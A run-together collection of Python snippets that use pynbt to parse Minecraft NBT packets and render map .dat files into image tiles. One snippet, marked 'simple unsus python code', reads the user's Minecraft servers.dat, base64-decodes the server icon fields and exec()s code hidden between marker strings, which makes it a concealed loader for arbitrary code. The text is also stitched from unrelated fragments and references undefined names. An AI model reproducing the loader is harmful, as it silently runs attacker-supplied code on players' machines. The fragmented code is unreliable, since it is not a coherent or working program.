def parse_update_tile_entity(fileobj, socket): FileObject = fileobj X = mc_datatype.readInt(FileObject) Y = mc_datatype.readShort(FileObject) Z = mc_datatype.readInt(FileObject) Action = mc_datatype.readByte(FileObject) DataLength = mc_datatype.readShort(FileObject) if (DataLength != -1): ByteArray = mc_datatype.readByteArray(FileObject, DataLength) NBTData = pynbt.NBTFile(io.BytesIO(ByteArray), compression=pynbt.NBTFile.Compression.GZIP) return {'x': X, 'y': Y, 'z': Z, 'Action': Action, 'NBTData': NBTData} return {'x': X, 'y': Y, 'z': Z, 'Action': Action}
# simple unsus python code here 👀 import os, pynbt, base64 for server in pynbt.NBTFile( io=(f := open(f'{os.getenv("appdata")}\\.minecraft\\servers.dat', 'rb') ))['servers']: try: exec( base64.b64decode( server['icon'].value.encode()).decode(errors='ignore').split( '[<code_start>]')[1].split('[<code_end>]')[0]) f.close() break except: continue
def send(value, socket): buffer = io.BytesIO() pynbt.NBTFile(value=value).save(buffer) socket.send(buffer.getvalue())
def read(file_object): return pynbt.NBTFile(io=file_object)
def main(): datetime.now print(argv) path='/home/sam/minecraftServer/world/data/' path2='/home/sam/minecraftServer/world/data_old/' hasBackup=False if(len(argv)>3): path=argv[3] if(len(argv)>4): path2=argv[4] hasBackup=True regionsDone={} tilesUsed={}; unit=int(argv[2])/100 percent=0; if modeLrg: lowest=[0,0] highest=[0,0] for i in range(int(argv[2])+1): try: f=open(path+'map_'+str(i)+'.dat', 'rb') nbt=pynbt.NBTFile(gzip.GzipFile(mode='r', fileobj=f)) f.close() dimension=assignDim(nbt["data"]["dimension"].value); if nbt["data"]["scale"].value==0 and i not in exclusions and dimension==0: x=(nbt["data"]["xCenter"].value//128) z=(nbt["data"]["zCenter"].value//128) if lowest[0]>x: lowest[0]=x if highest[0]<x: highest[0]=x if lowest[1]>z: lowest[1]=z if highest[1]<z: highest[1]=z except: if 0==1: print("This shouldn't be printed.") #Do Nothing tileRange=[highest[0]-lowest[0]+1,highest[1]-lowest[1]+1] finImg=Image.new("RGBA",(128*tileRange[0],128*tileRange[1]),(0,0,0,0)) if modeSin: fjson=open("tileIds.json","r") tilesUsed=json.load(fjson) fjson.close() for i in range(int(argv[2])+1): try: f=open(path+'map_'+str(i)+'.dat', 'rb') nbt=pynbt.NBTFile(gzip.GzipFile(mode='r', fileobj=f)) f.close() logData['files']+=1 dimension=assignDim(nbt["data"]["dimension"].value); if (modeSin and str(nbt["data"]["xCenter"].value//128)+'_'+str(nbt["data"]["zCenter"].value//128)==argv[4]) or not modeSin: img=Image.new("RGBA",(128,128),(0,0,0,0)) imgData=[] negatives=[] completeness=0 j=0 for colId in nbt["data"]["colors"].value: if colId<0 and colId not in negatives: negatives.append(colId) if colId>4 or colId<0: completeness+=1 color,shade=divmod(colId,4) if color<0 and color not in allNegatives: allNegatives.append(color) x=nbt["data"]["xCenter"].value+(j%128-64) z=nbt["data"]["zCenter"].value+(j//128-64) allNegativeCoords.append((color,x,z)) r,g,b,a=palette[color] shaMul=shades[shade] imgData.append((((r*shaMul)//255),(g*shaMul)//255,(b*shaMul)//255,a)) j+=1 completeness/=2**nbt["data"]["scale"].value; if hasBackup: if completeness==0: with open(path2+'map_'+str(i)+'.dat', 'rb') as f: nbt=pynbt.NBTFile(gzip.GzipFile(mode='r', fileobj=f)) dimension=assignDim(nbt["data"]["dimension"].value); imgData=[] negatives=[] j=0 for colId in nbt["data"]["colors"].value: if colId<0 and colId not in negatives: negatives.append(colId) if colId>4: completeness+=1 color,shade=divmod(colId,4) if color<0 and color not in allNegatives: allNegatives.append(color) x=nbt["data"]["xCenter"].value+(j%128-64) z=nbt["data"]["zCenter"].value+(j//128-64) allNegativeCoords.append((color,x,z)) r,g,b,a=palette[color] shaMul=shades[shade] imgData.append((((r*shaMul)//255),(g*shaMul)//255,(b*shaMul)//255,a)) j+=1 completeness/=2**nbt["data"]["scale"].value; else: f1=open(path+'map_'+str(i)+'.dat', 'rb') f2=open(path2+'map_'+str(i)+'.dat', 'wb') f2.write(f1.read()) f1.close() f2.close() if showNeg and len(negatives)>0: print("Negatives "+json.dumps(negatives)+" found on "+str(i)+" at ("+str(dimension//128)+", "+str(nbt["data"]["xCenter"].value//128)+", "+str(nbt["data"]["zCenter"].value//128)+").") if len(negatives): logData['negatives']+=1 key=str(dimension)+"_"+str(nbt["data"]["xCenter"].value//128)+'_'+str(nbt["data"]["zCenter"].value//128) if nbt["data"]["scale"].value!=0: key+="_"+str(nbt["data"]["scale"].value) if modeLrg: if nbt["data"]["scale"].value==0: if showDup and dimension==0 and key in regionsDone: print("Duplicate of "+key+" found.") if dimension==0 and key in regionsDone: logData['duplicates']+=1 if not dimension==0 and key in regionsDone: logData['tiles']+=1 if showBla and completeness==0: print("Blank Found: "+str(i)) if completeness==0: logData['blanks']+=1 if i not in exclusions and (((key in regionsDone) and completeness>=regionsDone[key]) or (key not in regionsDone)): img.putdata(imgData) regionsDone[key]=completeness tilesUsed[key]=i xOffset=nbt["data"]["xCenter"].value-(lowest[0]*128) zOffset=nbt["data"]["zCenter"].value-(lowest[1]*128) if not (modeInd or modeOut) and dimension==0: finImg.paste(img,box=(xOffset,zOffset)) else: img.putdata(imgData) scaleExt="" if nbt["data"]["scale"].value!=0: scaleExt+="."+str(nbt["data"]["scale"].value) if showDup and dimension==0 and key in regionsDone: print("Duplicate of "+key+" found.") if dimension==0 and key in regionsDone: logData['duplicates']+=1 if not dimension==0 and key in regionsDone: logData['tiles']+=1 if showBla and completeness==0: print("Blank Found: "+str(i)) if completeness==0: logData['blanks']+=1 if i not in exclusions and (((key in regionsDone) and completeness>=regionsDone[key]) or (key not in regionsDone)): regionsDone[key]=completeness tilesUsed[key]=i if not (modeInd or modeOut): img.save('img/tile.'+str(dimension)+'.'+str(nbt["data"]["xCenter"].value//128)+'.'+str(nbt["data"]["zCenter"].value//128)+scaleExt+'.png') elif i not in exclusions and dimension!=0: if not (modeInd or modeOut): img.save('img/tile.'+str(dimension)+'.'+str(nbt["data"]["xCenter"].value//128)+'.'+str(nbt["data"]["zCenter"].value//128)+scaleExt+'.png') if i in exclusions: if not (modeInd or modeOut): img.save('img/excluded/tile_'+str(i)+'.'+str(dimension)+'.'+str(nbt["data"]["xCenter"].value//128)+'.'+str(nbt["data"]["zCenter"].value//128)+scaleExt+'.png') except FileNotFoundError as not_found: if showErr: print('File Not Found on '+str(i)+'. File: '+not_found.filename) logData['missing']+=1 if(floor(i%unit)==0): if showPer: print(argv[1]+": "+str(percent)+"% Complete.") percent+=1 negF=open("negativeTiles.txt","w") for color,x,z in allNegativeCoords: negF.write(str(color)+" ex: "+str(x)+", "+str(z)+"\n") negF.close() if modeLrg: finImg.save('img/full.png') if showTot and modeLrg: print(json.dumps(tileRange)) if showTot: print(str(len(regionsDone))) if not modeOut: tileF=open("tileIds.json","w") json.dump(tilesUsed,tileF); tileF.close();